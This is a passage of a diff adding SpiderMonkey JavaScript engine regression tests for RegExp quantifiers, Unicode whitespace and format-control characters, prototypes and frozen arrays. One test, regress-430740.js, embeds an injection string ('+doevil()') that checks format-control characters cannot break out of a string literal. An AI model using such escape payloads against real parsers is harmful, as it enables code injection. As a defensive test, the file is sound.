+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('ccccc');
+addThis();
+
+// now disrupt it - the braces should now be interpreted literally
+status = inSection(12);
+try
+{
+ pattern = new RegExp('c{3, }');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3, }');
+addThis();
+
+status = inSection(13);
+try
+{
+ pattern = new RegExp('c{3 ,}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 ,}');
+addThis();
+
+// using braces in a normal quantifier construct again
+status = inSection(14);
+try
+{
+ pattern = new RegExp('c{3,4}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('cccc');
+addThis();
+
+// now disrupt it - the braces should now be interpreted literally
+status = inSection(15);
+try
+{
+ pattern = new RegExp('c{3 ,4}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3 ,4}');
+addThis();
+
+status = inSection(16);
+try
+{
+ pattern = new RegExp('c{3, 4}');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3, 4}');
+addThis();
+
+status = inSection(17);
+try
+{
+ pattern = new RegExp('c{3,4 }');
+ actualmatch = string.match(pattern);
+}
+catch (e)
+{
+ pattern = 'error';
+ actualmatch = '';
+}
+expectedmatch = Array('c{3,4 }');
+addThis();
+
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/extensions/regress-274152.js b/js/src/tests/ecma_3/extensions/regress-274152.js
new file mode 100644
index 000000000..03ad2833b
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/regress-274152.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 274152;
+var summary = 'Do not ignore unicode format-control characters';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: illegal character';
+
+ var formatcontrolchars = ['\u200E',
+ '\u0600',
+ '\u0601',
+ '\u0602',
+ '\u0603',
+ '\u06DD',
+ '\u070F'];
+
+ for (var i = 0; i < formatcontrolchars.length; i++)
+ {
+ try
+ {
+ eval("hi" + formatcontrolchars[i] + "there = 'howdie';");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': ' + i);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/extensions/regress-320854.js b/js/src/tests/ecma_3/extensions/regress-320854.js
new file mode 100644
index 000000000..8486924d6
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/regress-320854.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 320854;
+var summary = 'o.hasOwnProperty("length") should not lie when o has function in proto chain';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {__proto__:function(){}};
+
+expect = false;
+actual = o.hasOwnProperty('length')
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/extensions/regress-327170.js b/js/src/tests/ecma_3/extensions/regress-327170.js
new file mode 100644
index 000000000..f9f63be4b
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/regress-327170.js
@@ -0,0 +1,25 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 327170;
+var summary = 'Reuse of RegExp in string.replace(rx.compile(...), function() { rx.compile(...); }) causes a crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var g_rx = /(?:)/;
+
+"this is a test-string".replace(g_rx.compile("test", "g"),
+ function()
+ {
+ // re-use of the g_rx RegExp object,
+ // that's currently in use by the replace fn.
+ g_rx.compile("string", "g");
+ });
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/extensions/regress-368516.js b/js/src/tests/ecma_3/extensions/regress-368516.js
new file mode 100644
index 000000000..8db195d8d
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/regress-368516.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 368516;
+var summary = 'Treat unicode BOM characters as whitespace';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var bomchars = ['\uFFFE',
+ '\uFEFF'];
+
+ for (var i = 0; i < bomchars.length; i++)
+ {
+ expect = 'howdie';
+ actual = '';
+
+ try
+ {
+ eval("var" + bomchars[i] + "hithere = 'howdie';");
+ actual = hithere;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': ' + i);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/extensions/regress-385393-03.js b/js/src/tests/ecma_3/extensions/regress-385393-03.js
new file mode 100644
index 000000000..17fdcf2da
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/regress-385393-03.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ f = (function() { new (delete y) });
+ eval(uneval(f))
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/extensions/regress-430740.js b/js/src/tests/ecma_3/extensions/regress-430740.js
new file mode 100644
index 000000000..a4ad35341
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/regress-430740.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430740;
+var summary = 'Do not strip format-control characters from string literals';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function doevil() {
+ print('evildone');
+ return 'evildone';
+ }
+
+ expect = 'a%E2%80%8D,+doevil()%5D)//';
+ actual += eval("(['a\\\u200d', '+doevil()])//'])");
+ actual = encodeURI(actual);
+ reportCompare(expect, actual, summary);
+
+ expect = 'a%EF%BF%BE,+doevil()%5D)//';
+ actual = eval("(['a\\\ufffe', '+doevil()])//'])");
+ actual = encodeURI(actual);
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/extensions/shell.js b/js/src/tests/ecma_3/extensions/shell.js
new file mode 100644
index 000000000..857d06c3e
--- /dev/null
+++ b/js/src/tests/ecma_3/extensions/shell.js
@@ -0,0 +1,232 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 07 February 2001
+ *
+ * Functionality common to RegExp testing -
+ */
+//-----------------------------------------------------------------------------
+
+
+var MSG_PATTERN = '\nregexp = ';
+var MSG_STRING = '\nstring = ';
+var MSG_EXPECT = '\nExpect: ';
+var MSG_ACTUAL = '\nActual: ';
+var ERR_LENGTH = '\nERROR !!! match arrays have different lengths:';
+var ERR_MATCH = '\nERROR !!! regexp failed to give expected match array:';
+var ERR_NO_MATCH = '\nERROR !!! regexp FAILED to match anything !!!';
+var ERR_UNEXP_MATCH = '\nERROR !!! regexp MATCHED when we expected it to fail !!!';
+var CHAR_LBRACKET = '[';
+var CHAR_RBRACKET = ']';
+var CHAR_QT_DBL = '"';
+var CHAR_QT = "'";
+var CHAR_NL = '\n';
+var CHAR_COMMA = ',';
+var CHAR_SPACE = ' ';
+var TYPE_STRING = typeof 'abc';
+
+
+
+function testRegExp(statuses, patterns, strings, actualmatches, expectedmatches)
+{
+ var status = '';
+ var pattern = new RegExp();
+ var string = '';
+ var actualmatch = new Array();
+ var expectedmatch = new Array();
+ var state = '';
+ var lActual = -1;
+ var lExpect = -1;
+
+
+ for (var i=0; i != patterns.length; i++)
+ {
+ status = statuses[i];
+ pattern = patterns[i];
+ string = strings[i];
+ actualmatch=actualmatches[i];
+ expectedmatch=expectedmatches[i];
+ state = getState(status, pattern, string);
+
+ description = status;
+
+ if(actualmatch)
+ {
+ actual = formatArray(actualmatch);
+ if(expectedmatch)
+ {
+ // expectedmatch and actualmatch are arrays -
+ lExpect = expectedmatch.length;
+ lActual = actualmatch.length;
+
+ var expected = formatArray(expectedmatch);
+
+ if (lActual != lExpect)
+ {
+ reportCompare(lExpect, lActual,
+ state + ERR_LENGTH +
+ MSG_EXPECT + expected +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ continue;
+ }
+
+ // OK, the arrays have same length -
+ if (expected != actual)
+ {
+ reportCompare(expected, actual,
+ state + ERR_MATCH +
+ MSG_EXPECT + expected +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ }
+ else
+ {
+ reportCompare(expected, actual, state)
+ }
+
+ }
+ else //expectedmatch is null - that is, we did not expect a match -
+ {
+ expected = expectedmatch;
+ reportCompare(expected, actual,
+ state + ERR_UNEXP_MATCH +
+ MSG_EXPECT + expectedmatch +
+ MSG_ACTUAL + actual +
+ CHAR_NL
+ );
+ }
+
+ }
+ else // actualmatch is null
+ {
+ if (expectedmatch)
+ {
+ actual = actualmatch;
+ reportCompare(expected, actual,
+ state + ERR_NO_MATCH +
+ MSG_EXPECT + expectedmatch +
+ MSG_ACTUAL + actualmatch +
+ CHAR_NL
+ );
+ }
+ else // we did not expect a match
+ {
+ // Being ultra-cautious. Presumably expectedmatch===actualmatch===null
+ expected = expectedmatch;
+ actual = actualmatch;
+ reportCompare (expectedmatch, actualmatch, state);
+ }
+ }
+ }
+}
+
+
+function getState(status, pattern, string)
+{
+ /*
+ * Escape \n's, etc. to make them LITERAL in the presentation string.
+ * We don't have to worry about this in |pattern|; such escaping is
+ * done automatically by pattern.toString(), invoked implicitly below.
+ *
+ * One would like to simply do: string = string.replace(/(\s)/g, '\$1').
+ * However, the backreference $1 is not a literal string value,
+ * so this method doesn't work.
+ *
+ * Also tried string = string.replace(/(\s)/g, escape('$1'));
+ * but this just inserts the escape of the literal '$1', i.e. '%241'.
+ */
+ string = string.replace(/\n/g, '\\n');
+ string = string.replace(/\r/g, '\\r');
+ string = string.replace(/\t/g, '\\t');
+ string = string.replace(/\v/g, '\\v');
+ string = string.replace(/\f/g, '\\f');
+
+ return (status + MSG_PATTERN + pattern + MSG_STRING + singleQuote(string));
+}
+
+
+/*
+ * If available, arr.toSource() gives more detail than arr.toString()
+ *
+ * var arr = Array(1,2,'3');
+ *
+ * arr.toSource()
+ * [1, 2, "3"]
+ *
+ * arr.toString()
+ * 1,2,3
+ *
+ * But toSource() doesn't exist in Rhino, so use our own imitation, below -
+ *
+ */
+function formatArray(arr)
+{
+ try
+ {
+ return arr.toSource();
+ }
+ catch(e)
+ {
+ return toSource(arr);
+ }
+}
+
+
+/*
+ * Imitate SpiderMonkey's arr.toSource() method:
+ *
+ * a) Double-quote each array element that is of string type
+ * b) Represent |undefined| and |null| by empty strings
+ * c) Delimit elements by a comma + single space
+ * d) Do not add delimiter at the end UNLESS the last element is |undefined|
+ * e) Add square brackets to the beginning and end of the string
+ */
+function toSource(arr)
+{
+ var delim = CHAR_COMMA + CHAR_SPACE;
+ var elt = '';
+ var ret = '';
+ var len = arr.length;
+
+ for (i=0; i<len; i++)
+ {
+ elt = arr[i];
+
+ switch(true)
+ {
+ case (typeof elt === TYPE_STRING) :
+ ret += doubleQuote(elt);
+ break;
+
+ case (elt === undefined || elt === null) :
+ break; // add nothing but the delimiter, below -
+
+ default:
+ ret += elt.toString();
+ }
+
+ if ((i < len-1) || (elt === undefined))
+ ret += delim;
+ }
+
+ return CHAR_LBRACKET + ret + CHAR_RBRACKET;
+}
+
+
+function doubleQuote(text)
+{
+ return CHAR_QT_DBL + text + CHAR_QT_DBL;
+}
+
+
+function singleQuote(text)
+{
+ return CHAR_QT + text + CHAR_QT;
+}
+
diff --git a/js/src/tests/ecma_3/shell.js b/js/src/tests/ecma_3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/shell.js
diff --git a/js/src/tests/ecma_3/template.js b/js/src/tests/ecma_3/template.js
new file mode 100644
index 000000000..089aae2d6
--- /dev/null
+++ b/js/src/tests/ecma_3/template.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 99999;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3_1/Object/browser.js b/js/src/tests/ecma_3_1/Object/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3_1/Object/browser.js
diff --git a/js/src/tests/ecma_3_1/Object/regress-444787.js b/js/src/tests/ecma_3_1/Object/regress-444787.js
new file mode 100644
index 000000000..106a4e684
--- /dev/null
+++ b/js/src/tests/ecma_3_1/Object/regress-444787.js
@@ -0,0 +1,105 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 444787;
+var summary = 'Object.getPrototypeOf';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var i;
+ var type;
+ var instance;
+ var types = [
+ Array,
+ Boolean,
+ Date,
+ Error,
+ Function,
+ Math,
+ Number,
+ Object,
+ RegExp,
+ String,
+ ];
+
+ for (i = 0; i < types.length; i++)
+ {
+ type = types[i];
+
+ if (typeof type.__proto__ != 'undefined')
+ {
+ expect = type.__proto__;
+ actual = Object.getPrototypeOf(type);
+ reportCompare(expect, actual, summary + ': ' + type.name);
+ }
+
+ try
+ {
+ eval('instance = new ' + type.name);
+ expect = type.prototype;
+ actual = Object.getPrototypeOf(instance);
+ reportCompare(expect, actual, summary + ': new ' + type.name);
+ }
+ catch(ex if ex instanceof TypeError)
+ {
+ print('Ignore ' + ex);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ reportCompare(expect, actual, summary + ': new ' + type.name);
+ }
+
+ }
+
+ types = [null, undefined];
+
+ for (i = 0; i < types.length; i++)
+ {
+ type = types[i];
+ expect = 'TypeError: Object.getPrototype is not a function';
+ try
+ {
+ actual = Object.getPrototype(null);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + type);
+ }
+
+ var objects = [
+ {instance: [0], type: Array},
+ {instance: (function () {}), type: Function},
+ {instance: eval, type: Function},
+ {instance: parseInt, type: Function},
+ {instance: {a: ''}, type: Object},
+ {instance: /foo/, type: RegExp}
+ ];
+
+ for (i = 0; i < objects.length; i++)
+ {
+ instance = objects[i].instance;
+ type = objects[i].type;
+ expect = type.prototype;
+ actual = Object.getPrototypeOf(instance);
+ reportCompare(expect, actual, summary + ' instance: ' + instance + ', type: ' + type.name);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3_1/Object/shell.js b/js/src/tests/ecma_3_1/Object/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3_1/Object/shell.js
diff --git a/js/src/tests/ecma_3_1/README b/js/src/tests/ecma_3_1/README
new file mode 100644
index 000000000..7782acbbb
--- /dev/null
+++ b/js/src/tests/ecma_3_1/README
@@ -0,0 +1 @@
+ECMA 3.1
diff --git a/js/src/tests/ecma_3_1/RegExp/browser.js b/js/src/tests/ecma_3_1/RegExp/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3_1/RegExp/browser.js
diff --git a/js/src/tests/ecma_3_1/RegExp/regress-305064.js b/js/src/tests/ecma_3_1/RegExp/regress-305064.js
new file mode 100644
index 000000000..b7911c045
--- /dev/null
+++ b/js/src/tests/ecma_3_1/RegExp/regress-305064.js
@@ -0,0 +1,60 @@
+// |reftest| fails
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 305064;
+var summary = 'CharacterClassEscape \\s';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /** List from ES 3.1 Recommendation for String.trim (bug 305064) **/
+ var whitespace = [
+ {s : '\u0009', t : 'HORIZONTAL TAB'},
+ {s : '\u000B', t : 'VERTICAL TAB'},
+ {s : '\u000C', t : 'FORMFEED'},
+ {s : '\u0020', t : 'SPACE'},
+ {s : '\u00A0', t : 'NO-BREAK SPACE'},
+ {s : '\u1680', t : 'OGHAM SPACE MARK'},
+ {s : '\u180E', t : 'MONGOLIAN VOWEL SEPARATOR'},
+ {s : '\u2000', t : 'EN QUAD'},
+ {s : '\u2001', t : 'EM QUAD'},
+ {s : '\u2002', t : 'EN SPACE'},
+ {s : '\u2003', t : 'EM SPACE'},
+ {s : '\u2004', t : 'THREE-PER-EM SPACE'},
+ {s : '\u2005', t : 'FOUR-PER-EM SPACE'},
+ {s : '\u2006', t : 'SIX-PER-EM SPACE'},
+ {s : '\u2007', t : 'FIGURE SPACE'},
+ {s : '\u2008', t : 'PUNCTUATION SPACE'},
+ {s : '\u2009', t : 'THIN SPACE'},
+ {s : '\u200A', t : 'HAIR SPACE'},
+ {s : '\u202F', t : 'NARROW NO-BREAK SPACE'},
+ {s : '\u205F', t : 'MEDIUM MATHEMATICAL SPACE'},
+ {s : '\u3000', t : 'IDEOGRAPHIC SPACE'},
+ {s : '\u000A', t : 'LINE FEED OR NEW LINE'},
+ {s : '\u000D', t : 'CARRIAGE RETURN'},
+ {s : '\u2028', t : 'LINE SEPARATOR'},
+ {s : '\u2029', t : 'PARAGRAPH SEPARATOR'},
+ {s : '\u200B', t : 'ZERO WIDTH SPACE (category Cf)'}
+ ];
+
+ for (var i = 0; i < whitespace.length; ++i)
+ {
+ var v = whitespace[i];
+ reportCompare(true, !!(/\s/.test(v.s)), 'Is ' + v.t + ' a space');
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3_1/RegExp/shell.js b/js/src/tests/ecma_3_1/RegExp/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3_1/RegExp/shell.js
diff --git a/js/src/tests/ecma_3_1/browser.js b/js/src/tests/ecma_3_1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3_1/browser.js
diff --git a/js/src/tests/ecma_3_1/extensions/browser.js b/js/src/tests/ecma_3_1/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3_1/extensions/browser.js
diff --git a/js/src/tests/ecma_3_1/extensions/shell.js b/js/src/tests/ecma_3_1/extensions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3_1/extensions/shell.js
diff --git a/js/src/tests/ecma_3_1/shell.js b/js/src/tests/ecma_3_1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3_1/shell.js
diff --git a/js/src/tests/ecma_3_1/template.js b/js/src/tests/ecma_3_1/template.js
new file mode 100644
index 000000000..089aae2d6
--- /dev/null
+++ b/js/src/tests/ecma_3_1/template.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 99999;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_5/Array/browser.js b/js/src/tests/ecma_5/Array/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/browser.js
diff --git a/js/src/tests/ecma_5/Array/frozen-dense-array.js b/js/src/tests/ecma_5/Array/frozen-dense-array.js
new file mode 100644
index 000000000..9db63036f
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/frozen-dense-array.js
@@ -0,0 +1,61 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Author: Emilio Cobos Álvarez <ecoal95@gmail.com>
+ */
+var BUGNUMBER = 1310744;
+var summary = "Dense array properties shouldn't be modified when they're frozen";
+
+print(BUGNUMBER + ": " + summary);
+
+var a = Object.freeze([4, 5, 1]);
+
+function assertArrayIsExpected() {
+ assertEq(a.length, 3);
+ assertEq(a[0], 4);
+ assertEq(a[1], 5);
+ assertEq(a[2], 1);
+}
+
+assertThrowsInstanceOf(() => a.reverse(), TypeError);
+assertThrowsInstanceOf(() => a.shift(), TypeError);
+assertThrowsInstanceOf(() => a.unshift(0), TypeError);
+assertThrowsInstanceOf(() => a.sort(function() {}), TypeError);
+assertThrowsInstanceOf(() => a.pop(), TypeError);
+assertThrowsInstanceOf(() => a.fill(0), TypeError);
+assertThrowsInstanceOf(() => a.splice(0, 1, 1), TypeError);
+assertThrowsInstanceOf(() => a.push("foo"), TypeError);
+assertThrowsInstanceOf(() => { "use strict"; a.length = 5; }, TypeError);
+assertThrowsInstanceOf(() => { "use strict"; a[2] = "foo"; }, TypeError);
+assertThrowsInstanceOf(() => { "use strict"; delete a[0]; }, TypeError);
+assertThrowsInstanceOf(() => a.splice(Math.a), TypeError);
+
+// Shouldn't throw, since this is not strict mode, but shouldn't change the
+// value of the property.
+a.length = 5;
+a[2] = "foo";
+assertEq(delete a[0], false);
+
+assertArrayIsExpected();
+
+var watchpointCalled = false;
+// NOTE: Be careful with the position of this test, since this sparsifies the
+// elements and you might not test what you think you're testing otherwise.
+a.watch(2, function(prop, oldValue, newValue) {
+ watchpointCalled = true;
+ assertEq(prop, 2);
+ assertEq(oldValue, 1);
+ assertEq(newValue, "foo");
+});
+
+assertArrayIsExpected();
+
+a.length = 5;
+a[2] = "foo";
+assertEq(watchpointCalled, true);
+assertEq(delete a[0], false);
+
+assertArrayIsExpected();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Array/frozen-dict-mode-length.js b/js/src/tests/ecma_5/Array/frozen-dict-mode-length.js
new file mode 100644
index 000000000..e519b5892
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/frozen-dict-mode-length.js
@@ -0,0 +1,18 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Author: Emilio Cobos Álvarez <ecoal95@gmail.com>
+ */
+var BUGNUMBER = 1312948;
+var summary = "Freezing a dictionary mode object with a length property should make Object.isFrozen report true";
+
+print(BUGNUMBER + ": " + summary);
+
+/* Convert to dictionary mode */
+delete Array.prototype.slice;
+
+Object.freeze(Array.prototype);
+assertEq(Object.isFrozen(Array.prototype), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Array/index-with-null-character.js b/js/src/tests/ecma_5/Array/index-with-null-character.js
new file mode 100644
index 000000000..51e71bc8a
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/index-with-null-character.js
@@ -0,0 +1,18 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var testArray = [1, 2, 3]
+assertEq(testArray['0' + '\0'], undefined);
+assertEq(testArray['1' + '\0' + 'aaaa'], undefined)
+assertEq(testArray['\0' + '2'], undefined);
+assertEq(testArray['\0' + ' 2'], undefined);
+
+testArray['\0'] = 'hello';
+testArray[' \0'] = 'world';
+assertEq(testArray['\0'], 'hello');
+assertEq(testArray[' \0'], 'world');
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Array/join-01.js b/js/src/tests/ecma_5/Array/join-01.js
new file mode 100644
index 000000000..3cc6cccd0
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/join-01.js
@@ -0,0 +1,83 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+print("ES5: Array.prototype.join");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count;
+var stringifyCounter = { toString: function() { count++; return "obj"; } };
+
+var arr = [1, 2, 3, 4, 5];
+assertEq(arr.join(), "1,2,3,4,5");
+assertEq(arr.join(","), "1,2,3,4,5");
+assertEq(arr.join(undefined), "1,2,3,4,5");
+assertEq(arr.join(4), "142434445");
+assertEq(arr.join(""), "12345");
+
+count = 0;
+assertEq(arr.join(stringifyCounter), "1obj2obj3obj4obj5");
+assertEq(count, 1);
+
+var holey = [1, 2, , 4, 5];
+assertEq(holey.join(), "1,2,,4,5");
+assertEq(holey.join(","), "1,2,,4,5");
+assertEq(holey.join(undefined), "1,2,,4,5");
+assertEq(holey.join(4), "14244445");
+
+count = 0;
+assertEq(holey.join(stringifyCounter), "1obj2objobj4obj5");
+assertEq(count, 1);
+
+var nully = [1, 2, 3, null, 5];
+assertEq(nully.join(), "1,2,3,,5");
+assertEq(nully.join(","), "1,2,3,,5");
+assertEq(nully.join(undefined), "1,2,3,,5");
+assertEq(nully.join(4), "14243445");
+
+count = 0;
+assertEq(nully.join(stringifyCounter), "1obj2obj3objobj5");
+assertEq(count, 1);
+
+var undefiney = [1, undefined, 3, 4, 5];
+assertEq(undefiney.join(), "1,,3,4,5");
+assertEq(undefiney.join(","), "1,,3,4,5");
+assertEq(undefiney.join(undefined), "1,,3,4,5");
+assertEq(undefiney.join(4), "14434445");
+
+count = 0;
